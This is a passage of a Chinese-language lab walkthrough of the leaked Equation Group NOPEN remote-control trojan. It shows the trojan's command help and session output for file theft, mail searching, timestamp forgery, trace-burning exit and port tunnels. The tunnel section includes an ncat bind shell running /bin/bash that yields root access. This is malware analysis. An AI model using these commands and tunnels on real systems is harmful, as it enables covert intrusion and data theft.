Equation NOPEN

概述

“NOPEN”木马工具为针对Unix/Linux系统的远程控制工具，主要用于文件窃取、系统提权、网络通信重定向以及查看目标设备信息等，是一个典型的C2程序。

“NOPEN”木马工具编码技术复杂、功能全面、隐蔽性强、适配多种处理器架构和操作系统，并且采用了插件式结构，可以与其他网络武器或攻击工具进行交互和协作。

“NOPEN”木马工具包含客户端“noclient”和服务端“noserver”两部分，客户端会采取发送激活包的方式与服务端建立连接，使用RSA算法进行秘钥协商，使用RC6算法加密通信流量。

基本信息

这里分析的代码来自github上的泄露。在Linux\bin\目录下。

```
md5sum noclient-3.3.2.3-linux-i386  noserver-server
1d5bd438d76dd09edb91bbe81fc8e4f0  noclient-3.3.2.3-linux-i386
ee38509ddc4bef24d387c511c577895a  noserver-server
```

> 对实际样本感兴趣的可以根据cncert的文章进行抓取和分析。

运行方法

这里的测试环境有两台机器，一台是centos4，运行noserver，IP地址是172.19.2.11。另一台是centos5，运行noclient，IP地址是172.19.2.13.

启动服务端。

```
./noserver-server
[root@centos4x86 bvp47]# ps aux | grep no
root      5107  0.0  0.0  1784  332 pts/2    S    05:15   0:00 ./noserver-server
[root@centos4x86 bvp47]# lsof -p 5107
COMMAND    PID USER   FD   TYPE DEVICE    SIZE    NODE NAME
noserver- 5107 root  cwd    DIR  253,0    4096 1109807 /root/bvp47
noserver- 5107 root  rtd    DIR  253,0    4096       2 /
noserver- 5107 root  txt    REG  253,0  158686 1109895 /root/bvp47/noserver-
server
noserver- 5107 root  mem    REG  253,0  112212  898616 /lib/ld-2.3.4.so
noserver- 5107 root  mem    REG  253,0 1547588  898617 /lib/tls/libc-2.3.4.so
```

```
noserver- 5107 root  mem    REG  253,0   81140  897717 /lib/libresolv-2.3.4.so
noserver- 5107 root    0u   CHR    1,3            2108 /dev/null
noserver- 5107 root    1u   CHR    1,3            2108 /dev/null
noserver- 5107 root    2u   CHR    1,3            2108 /dev/null
noserver- 5107 root    3u  IPv4  75542             TCP *:32754 (LISTEN)
```

这样服务端启动完毕，运行在32754端口。

启动客户端。

```
./noclient-3.3.2.3-linux-i386 172.19.2.11

NOPEN!                              v3.3.2.3

sh: scanner: command not found
sh: ourtn: command not found
sh: scripme: command not found
Wed Mar 16 02:01:16 GMT 2022
NHOME: environment variable not set, assuming "NHOME=/home/hacker/test/.."
NHOME=/home/hacker/test/..
Reading resource file "/home/hacker/test/../etc/norc"...
/home/hacker/test/../etc/norc: No such f
ile or directory
TERM=screen
Entering client mode
Attempting connection from 0.0.0.0:39955 to 172.19.2.11:32754... ok
Initiating RSA key exchange
  Receiving random number... ok
  Generating session key... 64EB17F95BFF6DA5F7509B7819998CF4
  Initializing RC6... ok
  Sending first verify string... ok
  Receiving second verify string... ok
RSA key exchange complete
NOPEN server version... 3.3.0.1 (version mismatch, 3.3.0.1 != 3.3.2.3)

Connection
  Bytes In / Out     607/376 (161%C) / 498/303 (164%C)
  Local Host:Port    localhost:39955 (127.0.0.1:39955)
  CRemote Host:Port  172.19.2.11:32754 (172.19.2.11:32754)
  Remote Host:Port   centos4x86.local:32754 (172.19.2.11:32754)
Local
  NOPEN client       3.3.2.3
  Date/Time          Wed Mar 16 02:01:16 UTC 2022
  History
  Command Out
  CWD                /home/hacker/test
  NHOME              /home/hacker/test/..
  PID (PPID)         28563 (15348)
Remote
  NOPEN server       3.3.0.1 (version mismatch, 3.3.0.1 != 3.3.2.3)
  WDIR               NOT SET
  OS                 Linux 2.6.9-89.EL #1 Mon Jun 22 12:19:40 EDT 2009 i686
  CWD                /root/bvp47
  PID (PPID)         6139 (5107)
/home/hacker/test/../down/pid: No such file or directory
```

```
Reading resource file "/home/hacker/test/../etc/norc.linux"...
/home/hacker/test/../etc/norc.linux: No such file or directory
Creating history file
"/home/hacker/test/../down/history/centos4x86.local.172.19.2.11"... ok
Creating command output file
"/home/hacker/test/../down/cmdout/centos4x86.local.172.19.2.11-2022-03-16-
02:01:16"... ok

Started NOPEN autoport: 127.0.0.1:1025
```

这样客户端就和服务端连接上了。

客户端首先检测环境，然后连接服务端。先通过RSA进行密钥协商，生成会话密钥。然后自动执行命令-status，最后创建日志类文件。最后启动一个autoport。

```
ps aux | grep noclient
root       739  0.0  0.0   4028   664 pts/4    R+   22:13   0:00 grep noclient
hacker   28563  0.0  0.1   5144  1500 pts/3    S+   22:01   0:00 ./noclient-
3.3.2.3-linux-i386 172.19.2.11

lsof -p 28563
COMMAND     PID   USER   FD   TYPE DEVICE SIZE/OFF    NODE NAME
noclient- 28563 hacker  cwd    DIR  253,0     4096 3211931 /home/hacker/test
noclient- 28563 hacker  rtd    DIR  253,0     4096       2 /
noclient- 28563 hacker  txt    REG  253,0   442156 3211940
/home/hacker/test/noclient-3.3.2.3-linux-i386
noclient- 28563 hacker  mem    REG  253,0    25462 2458548 /usr/lib/gconv/gconv-
modules.cache
noclient- 28563 hacker  mem    REG  253,0 56417808 2364009
/usr/lib/locale/locale-archive
noclient- 28563 hacker  mem    REG  253,0    84904 3573276 /lib/libresolv-2.5.so
noclient- 28563 hacker  mem    REG  253,0   130860 3573257 /lib/ld-2.5.so
noclient- 28563 hacker  mem    REG  253,0  1706208 3573258 /lib/libc-2.5.so
noclient- 28563 hacker  mem    REG  253,0   216544 3573265 /lib/libm-2.5.so
noclient- 28563 hacker    0u   CHR  136,3      0t0       5 /dev/pts/3
noclient- 28563 hacker    1u   CHR  136,3      0t0       5 /dev/pts/3
noclient- 28563 hacker    2u   CHR  136,3      0t0       5 /dev/pts/3
noclient- 28563 hacker    3u  IPv4  41427      0t0     TCP 172.19.2.13:39955-
>172.19.2.11:32754 (ESTABLISHED)
noclient- 28563 hacker    4w   REG  253,0     1017 3154257
/home/hacker/down/cmdout/centos4x86.local.172.19.2.11-2022-03-16-02:01:16
noclient- 28563 hacker    5u  IPv4  41433      0t0     TCP
localhost.localdomain:blackjack (LISTEN)

grep blackjack /etc/services
blackjack       1025/tcp                        # network blackjack
blackjack       1025/udp                        # network blackjack
```

简单看，server端，就是一个beacon，主要的功能都在client，作为控制端来操作server端。

> 本文的server端运行在centos4上，client端运行在centos5上。server端无法运行在centos5上。

连接完毕后，进入到命令行界面，提示符是**NO! centos4x86.local:/root/bvp47>**

分为三部分，NO!是工具类型，centos4x86.local是主机名称，/root/bvp47是server端的运行目录。

比较特别的是Started NOPEN autoport: 127.0.0.1:1025

就是启动了一个端口，这个端口的功能是干啥的?

```
-?
[03-16-22 02:58:00 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754]
[-?]
Remote General Commands:
Usage: -elevate 是否提权
Usage: -getenv 显示环境变量
Usage: -gs category|filename [options-if-any] 脚本执行
Usage: -setenv VAR=[val] 设置环境变量
Usage: -shell [alt_shell] 生成一个shell
Usage: -status 显示连接状态
Usage: -time 显示时间
Usage: -ps [options] 显示进程信息
  select: -p pid1,pid2,... -q ppid1,ppid2,... -g gpid1,gpid2,...
          -n user1,user2,... -u uid1,uid2,...
          -t "ddMmmyy hh:mm"|yyyymmddhhmm|epoch
  sort:   -P  -Q   -G   -N   -U  -T     -V
          pid ppid gpid user uid time   inverse
  grep:   -r regex [-v] [-i]
  show uid: -I
  show last 24hrs: -d
  tree view: -H

Remote Server Commands:
Usage: -burn 推出，如果是最后一个进程，就删除所有文件
Usage: -call toip toport 回连客户端
Usage: -listen port 启动新进程，监听端口
Usage: -pid 显示进程pid

Remote Network Commands:
Usage: -icmptime target_ip [source_ip] icmp应答时间
Usage: -ifconfig 显示网络配置信息
Usage: -nslookup name1 ... 查看dns信息
Usage: -ping -r remote_target_ip [-l local_source_ip] [-i|-u|-t] [-p dest_port]
[-s src_port] ping主机
       -ping host
       -ping [-u|-t|-i] host
Usage: -trace -r remote_target_ip [-l local_source_ip] [-i|-u|-t] [-p dest_port]
[-s src_port] 跟踪路由
       -trace host
       -trace [-u|-t|-i] host

Remote Redirection Commands:
Usage: -irtun target_ip call_back_port|RHP [listen_ip] [ourtn arguments]  调用
ourtn建立反向隧道
Usage: -istun target_ip call_in_port|RHP [srcip] [ourtn arguments] 调用ourtn建立隧
道
Usage: -jackpop target_ip target_port source_ip source_port 调用jpackpop
Usage: -nrtun [listenip:]port [fromip]  反向监听隧道
Usage: -nstun toip [toport [localport [srcport [srcip]]]] 隧道
       -nstun toip:port [srcip]
Usage: -rawsend [-s] tcp_port
Usage: -rtun [listenip:]port [toip [toport]] [fromip] 反向隧道
Usage: -rutun [listenip:]port [toip [toport]] 反向udp隧道
Usage: -scan [scan_name|port] [targetip] scanner来扫描端口存活
```

```
Usage: -sentry target_address source_address (tcp|udp) dest_port src_port
interface 支持Solaris 2.6+的隧道工具
Usage: -stun toip toport [localport [srcport [srcip]]] 监听模式的隧道
Usage: -sutun toip toport [localport [srcport [srcip]]] udp监听模式的隧道
Usage: -tunnel [command_listen_port [udp|tcp [autoclose]]] 进入隧道菜单
Usage: -vscan  (should add help)

Remote File Commands:
Usage: -cat remfile 查看文件
Usage: -chili [-l] [-s lines] [-m max] MM-DD-YYYY remdir remfile [remfile ...]
Usage: -cksum remfile ... 查看文件hash
Usage: -fget [MM-DD-YYYY] loclist 下载文件
Usage: -get [-l] [-q] [-v] [-s minimumsize] [-m MM-DD-YYYY] remfile ... 下载文件
Usage: -grep [-d] [-v] [-n] [-i] [-h] [-C number_of_context_lines] pattern file1
[file2 ...] 搜索文件内容
Usage: -oget [-a] [-q] [-s skipoff] [-b begoff] [-e endoff] remfile 带offset的下载
文件
Usage: -put locfile remfile [mode] 上传文件
Usage: -strings remfile 查看文件中的字符串
Usage: -tail [+/-n] remfile, + to skip n lines of remfile beginning 查看文件尾部内
容
Usage: -touch [-t mtime:atime | refremfile] remfile 修改文件时间信息
Usage: -rm remfile|remdir ... 删除文件
Usage: -upload file port [fromip] 上传文件的指定端口
Usage: -mailgrep [-l] [-m maxbytes] [-r "regexp" [-v]] [-f regexpfilename [-v]]
[-a "regexp for attachments to eliminate"] [-b MM-DD-YYYY] [-e MM-DD-YYYY] [-d
remotedumpfile] remotedir file1 [file2 ...] 邮件搜索
 ex: -mailgrep -a ".doc" -r "^Fred" -b 2-28-2002 /var/spool/mail G*

Remote Directory Commands:
Usage: -find [-d] [-M | -m -mkfindsargs] [-x[m|a|c] MM-DD-YYYY] remdir
[remdir...] 查找文件
Usage: -ls [-1ihuRt] [-x[m|a|c] MM-DD-YYYY] [remfile|remdir ...] 显示目录
Usage: -cd [remdir] 跳转目录
Usage: -cdp 返回上次目录

Local Client Commands:
Usage: -autopilot port [xml] 自动执行命令
Usage: -cmdout [locfilename] 输出重定向到文件
Usage: -exit 退出
Usage: -help 帮助
Usage: -hist 命令历史记录
Usage: -keepalive [-d] [-r] [[-v] interval] 定时发送心跳
Usage: -readrc [locfile] 读取资源文件
Usage: -remark [comment] 注释
Usage: -rem [comment] 注释
Usage: # [comment] 注释
Usage: -reset 重置终端设置

Local Environment Commands:
Usage: -lcd locdir 本地目录跳转
Usage: -lgetenv 本地显示环境变量
Usage: -lpwd 本地当前目录
Usage: -lsetenv VAR=[val] 本地环境变量设置
Usage: -lsh [[-q] command] 本地shell命令执行

Aliases:
```

```
NO! centos4x86.local:/root/bvp47>-status
[03-16-22 02:59:21 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754]
[-status]

Connection
  Bytes In / Out     1501/854 (175%C) / 1048/503 (208%C)
  Local Host:Port    localhost:39955 (127.0.0.1:39955)
  CRemote Host:Port  172.19.2.11:32754 (172.19.2.11:32754)
  Remote Host:Port   centos4x86.local:32754 (172.19.2.11:32754)
Local
  NOPEN client       3.3.2.3
  Date/Time          Wed Mar 16 02:59:21 UTC 2022
  History
/home/hacker/test/../down/history/centos4x86.local.172.19.2.11
  Command Out
/home/hacker/test/../down/cmdout/centos4x86.local.172.19.2.11-2022-03-16-
02:01:16
  CWD                /home/hacker/test
  NHOME              /home/hacker/test/..
  PID (PPID)         28563 (15348)
Remote
  NOPEN server       3.3.0.1 (version mismatch, 3.3.0.1 != 3.3.2.3)
  WDIR               /root/bvp47
  OS                 Linux 2.6.9-89.EL #1 Mon Jun 22 12:19:40 EDT 2009 i686
  CWD                /root/bvp47
  PID (PPID)         6139 (5107)
```

根据-help的帮助信息，工具的功能分为本地和远端两部分，然后再按照功能进行细分。

上面执行了-status命令，这个命令返回连接状态，包括两端软件信息，环境信息，也包含通信的流量和连接信息。

NSA的命令行工具，基本都是这种格式。-xxx arg1 arg2 ...

通过统一的命令格式和帮助系统，降低了操作员的学习成本和负担，可以快速上手。

客户端支持历史命令操作，但是木有命令补全。

主要包括8个功能模块，每个模块支持多个命令操作，下面逐一看看这些命令。

本地环境变量

主要是设置环境变量，更改目录，执行本地shell命令等等。

```
-lcd /tmp
[03-16-22 03:21:05 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754]
[-lcd /tmp]
/tmp
NO! centos4x86.local:/root/bvp47>-lpwd
[03-16-22 03:21:11 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754]
[-lpwd]
/tmp
NO! centos4x86.local:/root/bvp47>-lgetenv
[03-16-22 03:21:19 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754]
[-lgetenv]
[HOSTNAME=centos5x86.local]
[SHELL=/bin/bash]
[TERM=screen]
```

```
[HISTSIZE=1000]
[SSH_CLIENT=172.19.2.1 29472 22]
[SSH_TTY=/dev/pts/2]
[USER=hacker]
[LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;
01:or=01;05;37;41
:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=0
1;32:*.sh=01;32:*
.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;
31:*.z=01;31:*.Z=
01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jp
g=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:
]
[TERMCAP=SC|screen|VT 100/ANSI X3.64 virtual terminal:\
        :DO=\E[%dB:LE=\E[%dD:RI=\E[%dC:UP=\E[%dA:bs:bt=\E[Z:\
        :cd=\E[J:ce=\E[K:cl=\E[H\E[J:cm=\E[%i%d;%dH:ct=\E[3g:\
        :do=^J:nd=\E[C:pt:rc=\E8:rs=\Ec:sc=\E7:st=\EH:up=\EM:\
        :le=^H:bl=^G:cr=^M:it#8:ho=\E[H:nw=\EE:ta=^I:is=\E)0:\
        :li#25:co#97:am:xn:xv:LP:sr=\EM:al=\E[L:AL=\E[%dL:\
        :cs=\E[%i%d;%dr:dl=\E[M:DL=\E[%dM:dc=\E[P:DC=\E[%dP:\
        :im=\E[4h:ei=\E[4l:mi:IC=\E[%d@:ks=\E[?1h\E=:\
        :ke=\E[?1l\E>:vi=\E[?25l:ve=\E[34h\E[?25h:vs=\E[34l:\
        :ti=\E[?1049h:te=\E[?1049l:us=\E[4m:ue=\E[24m:so=\E[3m:\
        :se=\E[23m:mb=\E[5m:md=\E[1m:mr=\E[7m:me=\E[m:ms:\
        :Co#8:pa#64:AF=\E[3%dm:AB=\E[4%dm:op=\E[39;49m:AX:\
        :vb=\Eg:G0:as=\E(0:ae=\E(B:\
        :ac=\140\140aaffggjjkkllmmnnooppqqrrssttuuvvwwxxyyzz{{||}}~~..--
++,,hhII00:\
        :po=\E[5i:pf=\E[4i:Z0=\E[?3h:Z1=\E[?3l:k0=\E[10~:\
        :k1=\EOP:k2=\EOQ:k3=\EOR:k4=\EOS:k5=\E[15~:k6=\E[17~:\
        :k7=\E[18~:k8=\E[19~:k9=\E[20~:k;=\E[21~:F1=\E[23~:\
        :F2=\E[24~:F3=\EO2P:F4=\EO2Q:F5=\EO2R:F6=\EO2S:\
        :F7=\E[15;2~:F8=\E[17;2~:F9=\E[18;2~:FA=\E[19;2~:kb=:\
        :K2=\EOE:kB=\E[Z:kF=\E[1;2B:kR=\E[1;2A:*4=\E[3;2~:\
        :*7=\E[1;2F:#2=\E[1;2H:#3=\E[2;2~:#4=\E[1;2D:%c=\E[6;2~:\
        :%e=\E[5;2~:%i=\E[1;2C:kh=\E[1~:@1=\E[1~:kH=\E[4~:\
        :@7=\E[4~:kN=\E[6~:kP=\E[5~:kI=\E[2~:kD=\E[3~:ku=\EOA:\
        :kd=\EOB:kr=\EOC:kl=\EOD:km:]
[PATH=/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/home/hacker/bin]
[MAIL=/var/spool/mail/hacker]
[STY=15347.pts-2.centos5x86]
[PWD=/home/hacker/test]
[INPUTRC=/etc/inputrc]
[LANG=en_US.UTF-8]
[SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass]
[HOME=/home/hacker]
[SHLVL=2]
[LOGNAME=hacker]
[WINDOW=0]
[SSH_CONNECTION=172.19.2.1 29472 172.19.2.13 22]
[LESSOPEN=|/usr/bin/lesspipe.sh %s]
[DISPLAY=localhost:10.0]
[G_BROKEN_FILENAMES=1]
[_=./noclient-3.3.2.3-linux-i386]
[OLDPWD=/home/hacker]
[NOPEN_CLIENTVER=3.3.2.3]
[NOPEN_MYPID=28563]
[NHOME=/home/hacker/test/..]
```

```
[NOPEN_SERVERINFO=Linux 2.6.9-89.EL #1 Mon Jun 22 12:19:40 EDT 2009 i686]
[NOPEN_RHOSTNAME=centos4x86.local.172.19.2.11]
[NOPEN_MYLOG=/home/hacker/test/../down/cmdout/centos4x86.local.172.19.2.11-2022-
03-16-02:01:16]
[NOPEN_AUTOPORT=1025]
[LINES=24]
[COLUMNS=97]

NO! centos4x86.local:/root/bvp47>-lsh ps aux| grep noclient
[03-16-22 03:24:19 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754]
[-lsh ps aux| grep noclient]
hacker   26182  0.0  0.0   4592   996 pts/3    R+   23:24   0:00 sh -c ps aux|
grep noclient
hacker   28563  0.0  0.1   5188  1532 pts/3    S+   22:01   0:00 ./noclient-
3.3.2.3-linux-i386 17
NO! centos4x86.local:/root/bvp47>-lsetenv TARGET=nsa.org
...
[TARGET=nsa.org]

NO! centos4x86.local:/root/bvp47>-lsh ls
[03-16-22 03:26:57 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754]
[-lsh ls]
gconfd-root
keyring-4F3uu9
keyring-BmyVpS
mapping-root
orbit-root
ssh-yBRWXJ2431
virtual-root.541NyD
NO! centos4x86.local:/root/bvp47>-lsh ping $TARGET
[03-16-22 03:27:40 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754]
[-lsh ping $TARGET]
ping: unknown host nsa.org
```

通过上面的操作实例，可以看出，这些命令方便了客户端的基本操作，通过-lsh这个命令，可以执行本地的shell命令，结合环境变量，可以实现在一个终端实现全部操作。

本地客户端命令

主要是本地自动操作，日志管理，心跳设置，操作序列文件管理，Terminal的重置。

```
-cmdout test.cmd
[03-16-22 06:40:32 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754]
[-cmdout test.cmd]
Command out file: /home/hacker/test/../down/cmdout/test.cmd
NO! centos4x86.local:/root/bvp47>-ls
[03-16-22 06:41:00 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754]
[-ls]
drwxr-xr-x    3 root     root         4096 Mar 13 05:00 2022 .
drwxr-x---   11 root     root         4096 Mar 13 05:13 2022 ..
-rwxr-xr-x    1 root     root       126702 Feb 28 04:39 2022 ish.v3
NO! centos4x86.local:/root/bvp47>-cksum ish.v3
[03-16-22 06:41:42 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754]
[-cksum ish.v3]
Opening checksum file "/home/hacker/test/../etc/cksums"...
/home/hacker/test/../etc/cksums: No such file or directory
NO! centos4x86.local:/root/bvp47>-exit
```

```
[03-16-22 06:42:18 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754]
[-exit]

Connection
  Bytes In / Out     2957/3077 (96%C) / 1500/677 (221%C)
  Local Host:Port    localhost:39955 (127.0.0.1:39955)
  CRemote Host:Port  172.19.2.11:32754 (172.19.2.11:32754)
  Remote Host:Port   centos4x86.local:32754 (172.19.2.11:32754)
Local
  NOPEN client       3.3.2.3
  Date/Time          Wed Mar 16 06:42:18 UTC 2022
  History
/home/hacker/test/../down/history/centos4x86.local.172.19.2.11
  Command Out
/home/hacker/test/../down/cmdout/centos4x86.local.172.19.2.11-2022-03-16-
02:01:16
  CWD                /tmp
  NHOME              /home/hacker/test/..
  PID (PPID)         28563 (15348)

Hasta

cat /home/hacker/test/../down/cmdout/test.cmd
```

默认就会保存命令和响应

```
ls
centos4x86.local.172.19.2.11-2022-03-16-02:01:16  test.cmd

tail -n1 centos4x86.local.172.19.2.11-2022-03-16-02\:01\:16
[-cmdout test.cmd]
```

但是可以将保存到默认的输出文件中，如果指定输出文件，就保存到指定文件中，这时默认文件就不再保存输入输出了。

keepalive

```
>-keepalive -v 10
[03-16-22 06:58:44 GMT][localhost:56940 -> centos4x86.local.172.19.2.11:32754]
[-keepalive -v 10]
Keepalive enabled (probes sent every 10 seconds)
NO! centos4x86.local:/root/bvp47>-keepalive -r
[03-16-22 06:59:16 GMT][localhost:56940 -> centos4x86.local.172.19.2.11:32754]
[-keepalive -r]
Current keepalive interval: 10 seconds
[keepalive: server is alive, remote time: Sun Mar 13 10:23:29 2022]
NO! centos4x86.local:/root/bvp47>-keepalive -d
[03-16-22 06:59:22 GMT][localhost:56940 -> centos4x86.local.172.19.2.11:32754]
[-keepalive -d]
Keepalive disabled
```

keepalive是控制心跳包的发送，主要是保持连接，避免超时。

autopilot

```
-autopilot 2005
[03-16-22 07:02:57 GMT][localhost:56940 -> centos4x86.local.172.19.2.11:32754]
[-autopilot 2005]
Please connect to me on 2005
```

autopilot 设置自动执行命令的端口。

norc

```
cat norc.linux
alias joe=-status

joe
[03-16-22 07:47:22 GMT][localhost:55475 -> centos4x86.local.172.19.2.11:32754]
[-status]
```

系统会根据服务端的类型，读入响应的rc文件，文件里面包含的是只有两种格式一是alias，二是注释#。

读入后，就可以使用这些命令了。

exit会让服务端退出。burn会清理痕迹，然后退出。

如果想退出客户端，但是不退出服务端，Ctrl+C两次即可。

远程目录命令

find

```
-find -xm 03-02-2022
[03-16-22 08:15:19 GMT][localhost:55475 -> centos4x86.local.172.19.2.11:32754]
[-find -xm 03-02-2022]
Command out file: /home/hacker/test/../down/cmdout/centos4x86.local.172.19.2.11-
find
Command out file: /home/hacker/test/../down/cmdout/centos4x86.local.172.19.2.11-
2022-03-16-07:47:13
sh: mkfinds: command not found
I'm afraid we could not start mkfinds
```

查找需要一个脚本mkfinds。

cd ls

```
-cd /tmp
[03-16-22 08:17:10 GMT][localhost:55475 -> centos4x86.local.172.19.2.11:32754]
[-cd /tmp]
NO! centos4x86.local:/tmp>-ls
[03-16-22 08:17:11 GMT][localhost:55475 -> centos4x86.local.172.19.2.11:32754]
[-ls]
drwxrwxrwt    6 root     root         4096 Mar 13 04:32 2022 .
drwxr-xr-x   23 root     root         4096 Mar 11 01:10 2022 ..
drwxrwxrwt    2 root     root         4096 Mar 11 01:10 2022 .ICE-unix
drwxrwxrwt    2 root     root         4096 Mar 11 01:10 2022 .font-unix
drwx------    2 root     root         4096 Feb 26 14:02 2022 gconfd-root
```

```
drwxr-xr-x    3 root     root         4096 Mar 10 01:33 2022 screens
NO! centos4x86.local:/tmp>-cdp
[03-16-22 08:17:15 GMT][localhost:55475 -> centos4x86.local.172.19.2.11:32754]
[-cdp]
```

除了find命令，其他都是些简单的目录操作。

远程文件操作

操作逻辑和ftp类似，只是通过专用程序进行。oget支持指定起始和结束进行文件传输。

get put cat

```
-get ourtn
[03-16-22 08:43:07 GMT][localhost:55475 -> centos4x86.local.172.19.2.11:32754]
[-get ourtn]

  ourtn --
/home/hacker/test/../down/centos4x86.local.172.19.2.11/root/bvp47/ourtn
/home/hacker/test/../down/centos4x86.local.172.19.2.11/root/bvp47/ourtn: No such
file or directory

-put hello.txt remote_hello.txt
[03-16-22 08:46:28 GMT][localhost:55475 -> centos4x86.local.172.19.2.11:32754]
[-put hello.txt remote_hello.txt]
local sha1sum: 4bb4334d3350f950bab4b20f089c4c396ba5faf5  hello.txt

  hello.txt -- remote_hello.txt [0700]
          14/          14 100% (195%C)

-rwx------    1 root     root           14 Mar 13 12:10 2022 remote_hello.txt

-cat remote_hello.txt
[03-16-22 08:47:01 GMT][localhost:55475 -> centos4x86.local.172.19.2.11:32754]
[-cat remote_hello.txt]
Hello world!
```

upload

```
-upload hello.txt 6969 172.19.2.13
[03-17-22 02:22:20 GMT][localhost:21655 -> centos4x86.local.172.19.2.11:32754]
[-upload hello.txt 6969 172.19.2.13]
noclient: waiting for remote connection...
noclient: received connection from 172.19.2.13  [03-17-22 02:26:57 GMT]
noclient: file upload complete, closing remote connection
noclient: remote connection closed
noclient: local connection closed  [03-17-22 02:26:57 GMT]
```

upload则支持将文件定向到端口。配合netcat，可以实现文件传输。

```
 ./ncat 172.19.2.11 6969 > hello.txt

[root@centos5x86 ncat]# cat hello.txt
Hello world!
```

grep mailgrep

```
-grep login /var/log/messages.1
[03-17-22 02:35:31 GMT][localhost:21655 -> centos4x86.local.172.19.2.11:32754]
[-grep login /var/log/messages.1]
Mar 10 01:21:38 centos4x86 login(pam_unix)[5216]: session opened for user root
by LOGIN(uid=0)
Mar 11 01:09:05 centos4x86 login(pam_unix)[5216]: session closed for user root
```

grep进行文件内容搜索。

其中mailgrep是比较有特点的操作，通过对邮件进行扫描，可以对附件进行扫描分析。

cksum

```
-cksum noserver-server
[03-17-22 02:43:29 GMT][localhost:21655 -> centos4x86.local.172.19.2.11:32754]
[-cksum noserver-server]
Opening checksum file "/home/hacker/test/../etc/cksums"... ok
- 7B5A89C4D1B92348623CE0FDD94D7361A297B8AA Sat Mar 12 04:20:21 2022 noserver-
server
```

但是cksum的算法不能确定，不是sha1也不是RIPEMD160。经过后续的研究，发现是sha1的修改版。

chili

```
-chili 01-01-2000 src nortn
[03-17-22 03:07:02 GMT][localhost:21655 -> centos4x86.local.172.19.2.11:32754]
[-chili 01-01-2000 src nortn]
```

chili木有找到使用方法。

远程网络穿透

在内网渗透过程中，利用各种的端口转发和流量代理，构建渗透通道，是非常必要的功能，这部分功能强大，值得学习。

tunnel

```
-tunnel
[03-18-22 02:00:58 GMT][localhost:52710 -> centos4x86.local.172.19.2.11:32754]
[-tunnel]
Starting NOPEN -tunnel...
NO! tunnel> -?
[-?]
*******NOPEN -tunnel commands*******
[h]elp     - show this help
[t]imeout time
  [r]emote listenport [target [port [rem_target]]]
  [l]ocal  listenport target [port [source_port]]
  [L]ocal  listenport target [port [source_port]]; with one byte extra for
socket state
  [u]dp    listenport target [port [source_port]]
  [U]dp    listenport [target [port]]
```

```
  [c]lose channel
  [s]tatus - prints status messages for channels
  [q]uit   - leaves the tunnel.
    Please do not hit Ctrl+C, it will cause the tunnels to break
```

在输入tunnel命令后，就进入到隧道管理子模块中。命令行的设计非常nice。

这个隧道模式支持tcp和udp两种方式，支持两端监听。下面，我们以最常见的将内网端口映射到外部进行操作。

先在server端执行。

```
 ./ncat/ncat -lvnp 6969 -e /bin/bash
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::6969
Ncat: Listening on 0.0.0.0:6969
Ncat: Connection from 172.19.2.11.
Ncat: Connection from 172.19.2.11:32796.
```

然后在noclient的控制台执行隧道操作。

```
NO! tunnel> l 6969 172.19.2.11 6969
[l 6969 172.19.2.11 6969]
NOTICE: channel 1 listen success
```

这个操作就是将远端的6969端口映射到本地，只要连接本地的端口，会自动通过隧道连接到远端的对应端口。

```
./ncat localhost 6969
id&&hostname&&ip a show eth0
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=root:system_r:unconfined_t
centos4x86.local
2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:34:56:70 brd ff:ff:ff:ff:ff:ff
    inet 172.19.2.11/24 brd 172.19.2.255 scope global eth0
    inet6 fe80::a00:27ff:fe34:5670/64 scope link
       valid_lft forever preferred_lft forever
```

使用nc，直接操作远端机器了。

> nc最好是自己编译的带-e参数的版本

从上面的例子可以看出，非常简单，也非常方便。

输入Ctrl+C退出隧道模式。

irtun istun jackpop

```
-irtun 172.19.2.1 6969
[03-18-22 06:07:31 GMT][localhost:52710 -> centos4x86.local.172.19.2.11:32754]
[-irtun 172.19.2.1 6969]
noclient: executing: ourtn -D 0.0.0.0 -W 127.0.0.1:20548 -i 0.0.0.0 -p 6969
 172.19.2.1
Undefined subroutine &main::mygetinput called at /usr/bin/ourtn line 2242.
```

```
noclient: tunneled process 25833 terminated with status 9
noclient: ourtn exited early
ourtn execution failed, exiting

-istun 172.19.2.1 6969
[03-18-22 06:14:17 GMT][localhost:52710 -> centos4x86.local.172.19.2.11:32754]
[-istun 172.19.2.1 6969]
noclient: executing: ourtn -D 0.0.0.0 -W 127.0.0.1:20548 -i 0.0.0.0 -p 6969
 172.19.2.1
Undefined subroutine &main::mygetinput called at /usr/bin/ourtn line 2242.

noclient: tunneled process 28287 terminated with status 9
noclient: ourtn exited early
ourtn execution failed, exiting

-jackpop 172.19.2.11 6969 172.19.2.13 6969
[03-18-22 06:25:13 GMT][localhost:52710 -> centos4x86.local.172.19.2.11:32754]
[-jackpop 172.19.2.11 6969 172.19.2.13 6969]
-jackpop is only supported for Solaris 2.6+, you are using Linux 2.6.9-89.EL
```

这个利用dewdrop,tipoff来构建隧道。这里还没有分析这两个程序，并且这个perl脚本，也有BUG，需要进一步修改。

nrtun

```
